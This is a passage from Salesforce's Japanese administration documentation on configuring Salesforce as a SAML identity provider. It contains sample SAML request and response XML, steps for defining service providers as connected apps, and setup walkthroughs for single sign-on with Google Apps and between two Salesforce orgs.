AssertionConsumerServiceURL="https://www.google.com/a/resp.info/acs">
<saml:Issuer>google.com</saml:Issuer>
<samlp:NameIDPolicy AllowCreate="true"
Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified"/>

</samlp:AuthnRequest>

定義の一部として証明書が含まれていた場合、Salesforce はその証明書を認証します。

メモ: 証明書がサービスプロバイダ定義に含まれており、SAML 要求に証明書が含まれていない場合、
要求は失敗します。ユーザは Salesforce を使用してログインできません。証明書が定義には含まれてお
らず、署名が要求に含まれている場合、ユーザが正しく識別されれば、要求は成功します。
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3. ユーザが Salesforce にまだログインしていない場合、ログインするよう求められます。
4. Salesforce からサービスプロバイダに SAML レスポンスを送信します。
5. サービスプロバイダで、Salesforceから送信された SAML レスポンスを認証します。ユーザが認証されている

場合、サービスプロバイダにログインします。ユーザは Salesforce にもログインします。

重要: Salesforceでは、ユーザがサービスプロバイダをログアウトしたときに、Salesforceからも自動的に
ログアウトするようにはなっていません。

Salesforce からの SAML レスポンスの例は、次のとおりです。この情報は、サービスプロバイダと共有します。
<samlp:Response Destination="https://login-blitz03.soma.salesforce.com/
?saml=MgoTx78aEPa2r1BHKCHmlfUKhH2mkDrXOjmYcjHG_qNDbsRM_6ZAo.wvGk"
ID="_0f551f9288c8b76f21c3d4d15c9cd1df1290476801091"
InResponseTo="_2INwHuINDJTvjo8ohcM.Fpw_uLukYi0WArVx2IJD569kZYL
osBwuiaSbzzxOPQjDtfw52tJB10VfgPW2p5g7Nlv5k1QDzR0EJYGgn0d0z8
CIiUOY31YBdk7gwEkTygiK_lb46IO1fzBFoaRTzwvf1JN4qnkGttw3J6L4b
opRI8hSQmCumM_Cvn3DHZVN.KtrzzOAflcMFSCY.bj1wvruSGQCooTRSSQ"

IssueInstant="2010-11-23T01:46:41.091Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
>identityorg.blitz03.blitz.salesforce.com</saml:Issuer>

−
<ds:Signature>

−
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>

−
<ds:Reference URI="#_0f551f9288c8b76f21c3d4d15c9cd1df1290476801091">

−
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>

−
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#">
<ec:InclusiveNamespaces PrefixList="ds saml samlp xs"/>
</ds:Transform>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<ds:DigestValue>4NVTbQ2WavD+ZBiyQ7ufc8EhtZw=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>

−
<ds:SignatureValue>

eqrkFxNlJRCT4VQ7tt7wKZGK7oLCCCa4gV/HNcL03RoKbSXIcwU2CAqW0qTSj25FqhRe2fOwAYa5
xFWat7Fw2bbncU+/nnuVNZut8HEEQoHiQA/Jrh7XB4CNlOpM1QRvgB5Dtdkj/0lI4h3X3TFix57B
sgZJGbb5PWEqSH3ZAl+NPvW9nNtYQIFyCTe9+cw2BhCxFgSWfP3/kIYHSM2gbIy27CrRrFS1lAqP
hKSLaH+ntH1E09gp78RSyJ2WKFGJU22sE9RJSZwdVw3VGG06Z6RpSjPJtaREELhhIBWTHNoF+VvJ
2Hbexjew6CO08lXRDe8dbrrPIRK/qzHZYf1H0g==
</ds:SignatureValue>

−
<ds:KeyInfo>

−
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<ds:X509Data>

−
<ds:X509Certificate>==
</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</ds:Signature>

−
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>

−
<saml:Assertion ID="_e700bf9b25a5aebdb9495fe40332ef081290476801092"
IssueInstant="2010-11-23T01:46:41.092Z" Version="2.0">
<saml:Issuer
Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">identityorg.blitz03.blitz.salesforce.com</saml:Issuer>

−
<saml:Subject>
<saml:NameID
Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">charliemortimore@gmail.com</saml:NameID>

−
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2010-11-23T01:51:41.093Z"
Recipient="https://login-blitz03.soma.salesforce.com/?saml=MgoTx78aEPa2r1BHKCHmlfUKhH2mkDrXOjmYcjHG_qNDbsRM_6ZAo.wvGk"/>
</saml:SubjectConfirmation>
</saml:Subject>

−
<saml:Conditions NotBefore="2010-11-23T01:46:41.093Z"
NotOnOrAfter="2010-11-23T01:51:41.093Z">

−
<saml:AudienceRestriction>
<saml:Audience>https://childorgb.blitz03.blitz.salesforce.com</saml:Audience>
</saml:AudienceRestriction>
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</saml:Conditions>

−
<saml:AuthnStatement AuthnInstant="2010-11-23T01:46:41.092Z">

−
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>

−
<saml:AttributeStatement>

−
<saml:Attribute Name="userId"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">005D0000001Ayzh</saml:AttributeValue>
</saml:Attribute>

−
<saml:Attribute Name="username"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">admin@identity.org</saml:AttributeValue>
</saml:Attribute>

−
<saml:Attribute Name="email"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">cmortimore@salesforce.com</saml:AttributeValue>
</saml:Attribute>

−
<saml:Attribute Name="is_portal_user"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">false</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>

Salesforce の ID プロバイダとしての有効化
ID プロバイダの詳細の表示
サービスプロバイダの定義の前提条件
Salesforce でサービスプロバイダを定義する前に、次の手順に従ってプ ID プロバイダおよびプロバイダの
Exchange 設定情報を定義します。
SAML が有効な接続アプリケーションとしてのサービスプロバイダの定義
アプリケーションユーザへの Salesforce ユーザの対応付け
サービスプロバイダの詳細の表示
ポータルとサイト用の ID プロバイダの有効化とサービスプロバイダの定義
ID プロバイダイベントログの使用
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ID プロバイダとサービスプロバイダの使用例

関連トピック:

Salesforce の ID プロバイダとしての有効化
ID プロバイダの詳細の表示
サービスプロバイダの定義の前提条件
SAML が有効な接続アプリケーションとしてのサービスプロバイダの定義
アプリケーションユーザへの Salesforce ユーザの対応付け
サービスプロバイダの詳細の表示
ポータルとサイト用の ID プロバイダの有効化とサービスプロバイダの定義
ID プロバイダとサービスプロバイダの使用例

Salesforce の ID プロバイダとしての有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Database.com Edition

ユーザ権限

ID プロバイダとサービス
プロバイダの定義と変更
• 「アプリケーションの

カスタマイズ」

Salesforce を ID プロバイダとして有効化する手順は、次のとおりです。
1. [私のドメイン] を使用してドメインを設定し、すべてのユーザにリリースし

ます。
2. [設定] から、[クイック検索] ボックスに「ID プロバイダ」と入力し、[ID プ

ロバイダ] を選択してから、[ID プロバイダを有効化] をクリックします。
3. デフォルトで、Salesforce ID プロバイダは、SHA-256 署名アルゴリズムを使用し

て自動的に生成される自己署名証明書を使用します。自己署名証明書がすで
に作成されている場合、他のサービスと安全なやりとりを行う場合に使用す
る証明書を選択します。
自己署名証明書の代わりに認証機関署名証明書を使用する場合は、次の手順
に従います。
a. 新しい認証機関署名証明書を作成およびインポートします。手順は、「証

明書と鍵」を参照してください。
b. [設定] から、[クイック検索] ボックスに「ID プロバイダ」と入力し、[ID

プロバイダ] を選択します。
c. [編集] をクリックし、認証機関署名証明書を選択します。
d. [保存] をクリックします。

ID プロバイダとして Salesforce を有効化したら、接続アプリケーションを作成して ([設定] から [クイック検索]

ボックスに「アプリケーション」と入力し、[アプリケーション]を選択)、サービスプロバイダを定義できます。

関連トピック:

ID プロバイダとサービスプロバイダ
自己署名証明書の生成
接続アプリケーションの作成
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ID プロバイダの詳細の表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Database.com Edition

ユーザ権限

ID プロバイダとサービス
プロバイダの定義と変更
• 「アプリケーションの

カスタマイズ」

組織の ID プロバイダを有効化したら、[設定] から [クイック検索] ボックスに
「ID プロバイダ」と入力し、[ID プロバイダ] を選択すると、詳細を表示できま
す。[発行者] など、この情報は、サービスプロバイダと共有する必要がありま
す。
このページから、次のことができます。
• [編集] をクリックして、ID プロバイダに関連付けられている証明書を変更で

きます。

警告: 証明書を変更して、外部アプリケーションへのアクセスを無効化
できます。新しい証明書情報を検証するには、すべての外部アプリケー
ションを更新する必要があります。

• [無効化] をクリックして、ID プロバイダを無効化できます。

警告:  ID プロバイダを無効化すると、ユーザは外部アプリケーションに
アクセスできなくなります。

• [証明書のダウンロード] をクリックして、ID プロバイダに関連付けられてい
る証明書をダウンロードできます。サービスプロバイダは、この情報を
Salesforce への接続に使用します。

• [メタデータのダウンロード] をクリックして、ID プロバイダに関連付けられ
ているメタデータをダウンロードできます。サービスプロバイダは、この情報を Salesforce への接続に使用
します。

• [SAML のメタデータ検出エンドポイント] 画面で、カスタムドメインおよび各コミュニティの SAML ID プロバ
イダ情報の URL にアクセスできます。サービスプロバイダは、この URL を Salesforce に接続するためのシン
グルサインオンの設定に使用します。
– Salesforce ID — [私のドメイン] のカスタムドメインの ID プロバイダメタデータの URL。
– 「コミュニティ名」コミュニティ ID — 名前が指定されたコミュニティの ID プロバイダメタデータの URL。

• サービスプロバイダセクションにある既存のサービスプロバイダの名前の横では、[編集] をクリックする
とその定義が変更され、[プロファイル] をクリックすると、このサービスプロバイダへのアクセス権を持
つユーザプロファイルを追加または削除できます。また、[削除] をクリックして削除できます。

メモ: 新しいサービスプロバイダを定義するには、[設定] から [クイック検索]ボックスに「アプリケー
ション」と入力し、[アプリケーション] を選択して、SAML 対応の新しい接続アプリケーションを作成
します。

関連トピック:

ID プロバイダとサービスプロバイダ
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サービスプロバイダの定義の前提条件

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Database.com Edition

ユーザ権限

ID プロバイダとサービス
プロバイダの定義と変更
• 「アプリケーションの

カスタマイズ」

Salesforce でサービスプロバイダを定義する前に、次の手順に従ってプ ID プロバ
イダおよびプロバイダの Exchange 設定情報を定義します。
1. ID プロバイダとして Salesforce を有効化します。
2. Salesforceの ID プロバイダとしての設定に関するサービスプロバイダ情報を指

定します。この情報は、メタデータとして使用できます。ダウンロードして
サービスプロバイダに指定できます。このメタデータを取得するには、[設
定] から [クイック検索] ボックスに「ID プロバイダ」と入力し、[ID プロバ
イダ] を選択して [メタデータのダウンロード] をクリックします。
ご使用のサービスプロバイダがメタデータをサポートせず、代わりに証明書
をサポートしている場合は、証明書をダウンロードできます。[設定] から、
[クイック検索] ボックスに「ID プロバイダ」と入力し、[ID プロバイダ] を
選択してから、[証明書のダウンロード] をクリックします。

3. サービスプロバイダから次の情報を取得します。
• アサーションコンシューマサービス (ACS) URL

• エンティティ ID

• 件名種別 — (ID プロバイダとしての) Salesforce からの SAML レスポンスの件
名が、Salesforce ユーザ名または統合 ID である場合に指定します。

• セキュリティ証明書 — サービスプロバイダが Salesforce へのログインを開始し、SAML 要求に署名する場
合にのみ必要です。

関連トピック:

ID プロバイダとサービスプロバイダ
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SAML が有効な接続アプリケーションとしてのサービスプロバイダの定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Database.com Edition

ユーザ権限

ID プロバイダとサービス
プロバイダの定義と変更
• 「アプリケーションの

カスタマイズ」

1. 前提条件を満たします。
2. [設定] から、[クイック検索] ボックスに「アプリケーション」と入力し、[ア

プリケーション] を選択します。
3. [接続アプリケーション] で、[新規] をクリックします。
4. [基本情報] で必須項目を指定します。
5. [Web アプリケーション設定] で、[SAML の有効化] を選択して、次の項目を指

定します。
エンティティ Id

この値はサービスプロバイダから取得します。組織内の各エンティティ
ID は一意にする必要があります。サービスプロバイダから複数のアプリ
ケーションにアクセスする場合、サービスプロバイダを一度のみ定義し、
RelayState パラメータを使用して、サインイン後にユーザを適切なア
プリケーションに移動させるための URL 値を追加する必要があります。

ACS URL

ACS、つまりアサーションコンシューマサービスでは、URL は SAML サービ
スプロバイダから取得します。

件名種別
アプリケーションのユーザ ID を定義するフィールドを指定します。ユー
ザのユーザ名、統合 ID、ユーザ ID、カスタム属性、またはアルゴリズムを使用して計算された永続 ID な
どのオプションがあります。カスタム属性とは、組織の User オブジェクトに追加されたカスタム項目
で、データ型がメール、テキスト、URL、数式のいずれかに該当するものです。[件名種別]に [カスタム
属性] を選択すると、[カスタム属性] 項目に組織で使用できる User オブジェクトのカスタム項目のリス
トが表示されます。

名前 ID 形式
SAML メッセージで送信される形式属性を指定します。デフォルトで、「unspecified」(未定義) が選択され
ています。使用する SAML サービスプロバイダによっては、この属性をメールアドレス、persistent (永続)、
または transient (一時) に設定できます。

発行者
デフォルトで、ID プロバイダの標準発行者が使用されます (組織の [私のドメイン])。SAML サービスプロ
バイダによって別の値が要求される場合、それをここに指定します。

6. 必要に応じて、次の項目を指定します。
開始 URL

アプリケーションの実行時にユーザは特定の場所に転送されます。開始 URL には
https://na1.salesforce.com/001/oなどの絶対 URL を使用できます。または、GoodApp の場合は、
https://customer.goodApp.comなどのアプリケーション名のリンクを使用できます。開始 URL を指
定すると、Force.comアプリケーションメニューおよびアプリケーションランチャーでアプリケーション
を使用できるようになります。
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要求署名を確認
サービスプロバイダからセキュリティ証明書を付与された場合は、[要求署名を確認]を選択します。証
明書のシステムを参照します。これが必要になるのは、Salesforceへのログインをサービスプロバイダか
ら開始するように計画しており、そのサービスプロバイダが SAML 要求に署名する場合のみです。

重要: 証明書をアップロードする場合は、すべての SAML 要求に署名する必要があります。証明書
がアップロードされない場合、すべての SAML 要求が受け入れられます。

SAML 応答の暗号化
[SAML レスポンスを暗号化]を選択して証明書をアップロードし、アサーションを暗号化するための暗
号化メソッドを選択します。有効な暗号化アルゴリズム値は、AES–128  (128 ビット鍵)、AES–256  (256

ビット鍵)、および Triple-DES  (トリプルデータ暗号化アルゴリズム) です。

7. [保存] をクリックします。
この SAML アプリケーションに対してユーザを認証する手順は、次のとおりです
1. [設定] から、[クイック検索]ボックスに「接続アプリケーション」と入力し、接続アプリケーションを管理

するオプションを選択します。
2. アプリケーションの名前をクリックします。
3. アプリケーションにアクセスできるプロファイルや権限セットを選択します。

関連トピック:

ID プロバイダとサービスプロバイダ
カスタム項目

アプリケーションユーザへの Salesforce ユーザの対応付け

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Database.com Edition

ユーザ権限

ID プロバイダとサービス
プロバイダの定義と変更
• 「アプリケーションの

カスタマイズ」

サービスプロバイダ定義の [件名種別]が [統合 ID]である場合、Salesforceユー
ザをサービスプロバイダへのサインインに使用するユーザ名に対応付ける必要
があります。
Salesforce ユーザをアプリケーションユーザに対応付ける手順は、次のとおりで
す。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択して、対応付ける必要のある各ユーザの [編集] をクリックします。
2. [シングルサインオン情報] の下にある [統合 ID]で、サービスプロバイダへ

のログインに使用するユーザ名を入力します。
3. [保存] をクリックします。

ヒント: 更新するユーザプロファイルまたは権限セットが大量にある場合
は、SOAP APIを使用します。『SOAP API 開発者ガイド』を参照してください。

関連トピック:

ID プロバイダとサービスプロバイダ
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サービスプロバイダの詳細の表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Database.com Edition

ユーザ権限

ID プロバイダとサービス
プロバイダの定義と変更
• 「アプリケーションの

カスタマイズ」

SAML が有効な接続アプリケーションを作成して、組織のサービスプロバイダを
定義したら、[設定] から、[クイック検索] ボックスに「接続アプリケーション」
と入力し、[接続アプリケーション]を選択して、アプリケーション名を選択しま
す。[SP-init の投稿エンドポイント]や [SP-init のリダイレクトエンドポイ
ント]などの情報をサービスプロバイダと共有する必要がある場合があります。
このページから、次のことができます。
• サービスプロバイダの定義の値を変更するには、[編集] をクリックします。
• サービスプロバイダの定義を削除するには、[削除] をクリックします。

警告: サービスプロバイダの定義を削除すると、ユーザはそのサービス
プロバイダにアクセスできなくなります。

• このサービスプロバイダにアクセスできるプロファイルを変更するには、[プ
ロファイルアクセス] をクリックします。

関連トピック:

ID プロバイダとサービスプロバイダ

ポータルとサイト用の ID プロバイダの有効化とサービスプロバイダの定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

ID プロバイダとサービス
プロバイダの定義と変更
• 「アプリケーションの

カスタマイズ」

Force.com サイト、カスタマーポータル、パートナーポータルに対して、ID プロ
バイダを有効化し、サービスプロバイダを定義するときは、次の点に注意して
ください。
• サービスプロバイダを定義するときに、[件名種別] が [ユーザ名] の場合、

SAML アサーションのユーザ名の先頭に Salesforce 組織 ID が付きます。たとえ
ば、ユーザが jDeoint@WFC.com の場合、SAML アサーションの件名は
00DE0000000FFLT@jDeoint@WFC.com を含みます。[件名種別] が [統合
ID] の場合、正確な統合 ID が使用されます。

• Salesforce が生成した SAML アサーションに含まれる属性 is_portal_user に
は、値があります。次の例をサービスプロバイダと共有することができま
す。

<saml:Attribute Name="is_portal_user"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">

<saml:AttributeValue
xmlns:xs="http://www.w3.org/2001/XMLSchema"

1139

シングルサインオンSalesforce 組織の設定および管理



xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:type="xs:anyType">true

</saml:AttributeValue>
</saml:Attribute>

関連トピック:

ID プロバイダとサービスプロバイダ

ID プロバイダイベントログの使用

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Database.com Edition

ユーザ権限

ID プロバイダとサービス
プロバイダの定義と変更
• 「アプリケーションの

カスタマイズ」

ID プロバイダイベントログは、他のアプリケーションプロバイダからの着信 SAML

認証要求の問題および成功と、Salesforce が ID プロバイダとして機能する場合の
発信 SAML 応答の問題および成功を記録します。ID プロバイダイベントログを表
示するには、[設定] から [クイック検索] ボックスに「ID プロバイダイベントロ
グ」と入力し、[ID プロバイダイベントログ] を選択します。ログ内の成功、失
敗、またはその両方を表示できます。UI で最近の 50 件のイベントを表示できま
す。レポートを作成するとさらに多くを表示できます。
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ID プロバイダとサービスプロバイダの使用例

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Database.com Edition

タブは、Database.comで
は利用できません。

ユーザ権限

ID プロバイダとサービス
プロバイダの定義と変更
• 「アプリケーションの

カスタマイズ」

このセクションでは、Salesforceを ID プロバイダとして設定し、2 つの異なるサー
ビスプロバイダを設定する 2 つの例を示します。
• Google Apps — サービスプロバイダの起動によるログインを示します。
• Salesforce — ID プロバイダの起動によるログインを示します。

Google Apps へのシングルサインオンの設定例
この例では、Salesforce から Google Apps へのシングルサインオンの設定方法を示
します。Google がサービスプロバイダとなり、Google Apps はそのサービスプロバ
イダが提供するアプリケーションです。
この例が機能するための条件は、次のとおりです。
• Premier Edition Google Apps アカウントをすでに持っていること
• Salesforce 組織に SAML 2.0 を使用するシングルサインオンが設定されているこ

と
一般的な手順は次のとおりですが、各ステップではこれ以外に固有の処理があ
ります。
1. Salesforce 組織で、ドメイン名を生成し、ID プロバイダを有効化します。
2. Salesforce でサービスプロバイダを定義します。
3. Salesforce ユーザとプロファイルを有効化します。
4. Google Apps を設定します。
5. 実装をテストします。

ドメイン名の生成と ID プロバイダの有効化
この例に対応するSalesforce組織を準備するため、ドメイン名を生成し、Salesforceを ID プロバイダとして有効化
します。
1. Salesforce にログインします。
2. 組織のドメイン名を生成します。

a. [設定] から、[クイック検索] ボックスに「私のドメイン」と入力し、[私のドメイン] を選択して新しい
サブドメイン名を入力し、[使用可能か調べる] をクリックします。

b. 名前が使用可能であれば、[契約条件] チェックボックスをオンにし、[ドメインの登録] をクリックしま
す。

重要: Salesforce を ID プロバイダとして有効化する前に、ドメイン名をリリースする必要がありま
す。

3. Salesforce を ID プロバイダとして有効化します。
a. [設定] から、[クイック検索] ボックスに「ID プロバイダ」と入力し、[ID プロバイダ] を選択します。
b. [有効化] をクリックします。
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c. [証明書のダウンロード]をクリックします。後で証明書をアップロードするため、保存した場所を忘れ
ないでください。

サービスプロバイダの定義
サービスプロバイダを定義する手順は、次のとおりです。
1. Salesforce にログインします。
2. [設定] から、[クイック検索]ボックスに「アプリケーション」と入力し、[アプリケーション]を選択します。
3. [接続アプリケーション] セクションで [新規] をクリックし、[接続アプリケーション名] にGoogle Appsと

入力します。
4. [Web アプリケーション設定] で [SAML の有効化] を選択し、次の情報を入力します。

値項目

https://www.google.com/a/respond.info な
ど、Google App アカウントの URL

ACS URL

google.comエンティティ ID

統合 ID件名種別

5. [保存] をクリックします。
6. このアプリケーションへのアクセスを認証するには、[クイック検索]ボックスに「接続アプリケーション」

と入力し、接続アプリケーションを管理するためのオプションを選択して、アプリケーション名をクリッ
クします。次に、現在のユーザのプロファイルを選択します。

7. [SP-init のリダイレクトエンドポイント] 項目の値をコピーします。この値は後で使用します。

Salesforce ユーザの Google Apps ユーザへの対応付け
1. [個人設定] から、[クイック検索] ボックスに「高度なユーザの詳細」と入力し、[高度なユーザの詳細] を選

択します。結果がありませんか? [クイック検索] ボックスに「個人情報」と入力し、[個人情報]を選択しま
す。

2. [編集] をクリックします。
3. [統合 ID] に対して、たとえば JSmith@TGroup.com など、Google Apps へのサインインに使用するユーザ名を

入力します。
4. [保存] をクリックします。

Google Apps の設定
1. Google Apps アカウントにログインします。
2. [高度なツール] タブをクリックし、次に [シングルサインオン (SSO) を設定] リンクをクリックします。
3. [シングルサインオンを有効化] チェックボックスをオンにします。
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4. [サインインページ URL] には、サービスプロバイダの定義で [SP-init のリダイレクトエンドポイント]

項目からコピーした URL を入力します。
5. [サインアウトページ URL] には、http://www.mydomain.salesforce.com など、Google Apps をログア

ウトした後のユーザの移動先とする URL を指定します。
6. [パスワード URL を変更する] には

https://mydomain.salesforce.com/_ui/system/security/ChangePassword を使用します。この
とき、mydomain は、ドメインを作成したときにカスタムドメインに指定した名前です。

7. [確認証明書] には、ID プロバイダの有効化でダウンロードした証明書をアップロードします。
8. [変更を保存] をクリックします。

実装のテスト
Salesforce 組織が Google Apps へシングルサインオンを使用できるかどうか確認する手順は、次のとおりです。
1. Google Apps と Salesforce からログアウトします。
2. http://docs.google.com/a/respond.info/ や http://mail.google.com/a/respond.info/ な

ど、Google アプリケーションページへのアクセスを試みます。
3. Salesforceサインオンページにリダイレクトされます。ログイン後は、指定した Google アプリケーションペー

ジに移動しています。
それ以外のテストとして、Salesforce 組織の Web タブに Google App を追加する方法があります。
1. Salesforce にログインします。
2. [設定] から、[クイック検索] ボックスに「タブ」と入力し、[タブ] を選択してから、[Web タブ] セクショ

ンの [新規] をクリックします。
3. タブレイアウトを選択し、[次へ] をクリックします。
4. タブに表示する表示ラベルを入力します。
5. デフォルト名を使用します。これは表示ラベルと同じです。
6. [タブスタイル] ルックアップアイコンをクリックして、[タブスタイルの選択] を表示します。アイコンを

選択します。その他はすべてデフォルトのままにします。
7. [次へ] をクリックします。
8. [ボタンまたはリンクの URL] テキストボックスに、docs.google.com/a/respond.info/ や

mail.google.com/a/respond.info/ などの Google App ページを入力し、[次へ] をクリックします。

メモ: これは絶対 URL にします。つまり、http:// または https:// のどちらかを必ず含める必要が
あります。

9. [次へ]、[保存] の順にクリックします。
10. ページ上部の新しいタブをクリックします。指定した Google アプリケーションページに自動的にログイン

します。
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Salesforce から Salesforce へのシングルサインオンの設定
この例では、あるSalesforce組織から別の組織へのシングルサインオンを起動するSalesforceアプリケーションの
設定方法を示します。
起動側の Salesforce 組織、つまり、最初にログインする組織は、ID プロバイダとして機能します。アプリケー
ションを使用してアクセスする Salesforce 組織は、サービスプロバイダとして機能します。たとえば、2 つの
Salesforce 組織、「セールス」組織と「アイデア」組織があるとします。2 つの組織間のシングルサインオンを
設定すると、ユーザは一方のみにログインし、パスワードも 1 つ覚えるだけで済みます。
この例が機能するためには、起動側の Salesforce組織に SAML 2.0 を使用するシングルサインオンを設定する必要
があります。一般的な手順は次のとおりですが、各ステップではこれ以外に固有の処理があります。
1. ID プロバイダとして機能する Salesforce 組織で、ドメイン名を生成し、ID プロバイダを有効化します。
2. サービスプロバイダとして機能する Salesforce 組織を設定します。
3. ID プロバイダとして機能する Salesforce 組織で、サービスプロバイダアプリケーションを定義します。
4. 実装をテストします。

ドメイン名の生成と ID プロバイダの有効化
次の各ステップでの作業はすべて、ID プロバイダとして機能する Salesforce 組織で行われます。
この例に対応するSalesforce組織を準備するため、ドメイン名を生成し、Salesforceを ID プロバイダとして有効化
します。
1. Salesforce にログインします。
2. 組織のドメイン名を生成します。

a. [設定] から、[クイック検索] ボックスに「私のドメイン」と入力し、[私のドメイン] を選択して新しい
サブドメイン名を入力し、[使用可能か調べる] をクリックします。

b. 名前が使用可能であれば、[契約条件] チェックボックスをオンにし、[ドメインの登録] をクリックしま
す。

重要: Salesforce を ID プロバイダとして有効化する前に、ドメイン名をリリースする必要がありま
す。

3. Salesforce を ID プロバイダとして有効化します。
a. [設定] から、[クイック検索] ボックスに「ID プロバイダ」と入力し、[ID プロバイダ] を選択します。
b. [有効化] をクリックします。
c. [証明書のダウンロード]をクリックします。後で証明書をアップロードするため、保存した場所を忘れ

ないでください。

Salesforce 組織のサービスプロバイダとしての設定
第 2 の Salesforce 組織をサービスプロバイダとして設定する手順は、次のとおりです。
1. サービスプロバイダとして機能する Salesforce 組織にログインします。
2. SAML を有効化と設定を行います。
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[設定] から、[クイック検索] ボックスに「シングルサインオン設定」と入力し、[シングルサインオン設
定] を選択してから、[編集] をクリックします。

a.

b. [SAML を有効化] チェックボックスをオンにします。
c. 次の設定を使用します。

値項目

2.0SAML のバージョン

ID プロバイダの設定時に作成される ID プロバイダ
の発行者 URL。たとえば、

発行者

「https://mycustomdomain.salesforce.com」
などです。

ID プロバイダの有効化でダウンロードした証明書
を探します。

ID プロバイダの証明書

[アサーションには、ユーザオブジェクトの統合 ID

が含まれます] を選択します。
SAML のユーザ ID 種別

[ユーザ ID は、Subject ステートメントの
NameIdentifier 要素にあります]を選択します。

SAML のユーザ ID の場所

d. [保存] をクリックします。
e. [Salesforce ログイン URL] 項目および [エンティティ ID] 項目から値をコピーして保存します。後

で Salesforce サービスプロバイダを定義するときに、これらの値が必要です。

3. サービスプロバイダ組織のユーザを、ID プロバイダ組織のユーザにリンクします。
a. 個人設定から、[クイック検索] ボックスに「高度なユーザの詳細」と入力し、[高度なユーザの詳細] を

選択します。結果がない場合は、[クイック検索] ボックスに「個人情報」と入力し、[個人情報] を選択
します。

b. [編集] をクリックします。
c. [統合 ID] には、たとえば IDP_org@TGroup.com など、Salesforce ID プロバイダ組織へのサインオンに使用

するユーザ名を入力します。
d. [保存] をクリックします。

ID プロバイダ組織でのサービスプロバイダの定義
サービスプロバイダを定義するには、SAML 対応の Web アプリケーションを接続アプリケーションとして次の
ように作成します。
1. ID プロバイダとして機能する Salesforce 組織にログインします。
2. [設定] から、[クイック検索] ボックスに「アプリケーション」と入力し、[アプリケーション] を選択してか

ら、[接続アプリケーション] セクションの [新規] をクリックします。
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3. 次の情報を指定します。

値項目

Salesforce サービスプロバイダ接続アプリケーション名

Salesforceがアプリケーション提供者またはそのサポー
トチームへの連絡に使用する取引先責任者メールア
ドレス。

取引先責任者 メール

サービスプロバイダの詳細を入力するには、このオ
プションを選択します。

SAML の有効化

サービスプロバイダの設定で得たエンティティ ID を
使用します。

エンティティ ID

サービスプロバイダの設定で得たSalesforceログイン
URL を使用します。

ACS URL

[ユーザ名] を選択します。件名種別

4. [保存] をクリックします。
5. このサービスプロバイダへのアクセスを許可するプロファイルを選択します。この例が機能するためには、

現在のユーザのプロファイルを選択する必要があります。
6. [保存] をクリックします。
7. [Idp-init のログイン URL] 項目の値をコピーします。この値は後でテストに使用します。

実装のテスト
Salesforce 組織同士がシングルサインオンを使用して接続できるかどうか確認するため、Web タブを作成しま
す。
1. サービスプロバイダとして機能する Salesforce 組織にログインします。
2. [設定] から、[クイック検索] ボックスに「タブ」と入力し、[タブ] を選択してから、[Web タブ] セクショ

ンの [新規] をクリックします。
3. タブレイアウトを選択し、[次へ] をクリックします。
4. タブに表示する表示ラベルを入力します。
5. デフォルト名を使用します。これは表示ラベルと同じです。
6. [タブスタイル] ルックアップアイコンをクリックして、[タブスタイルの選択] を表示します。アイコンを
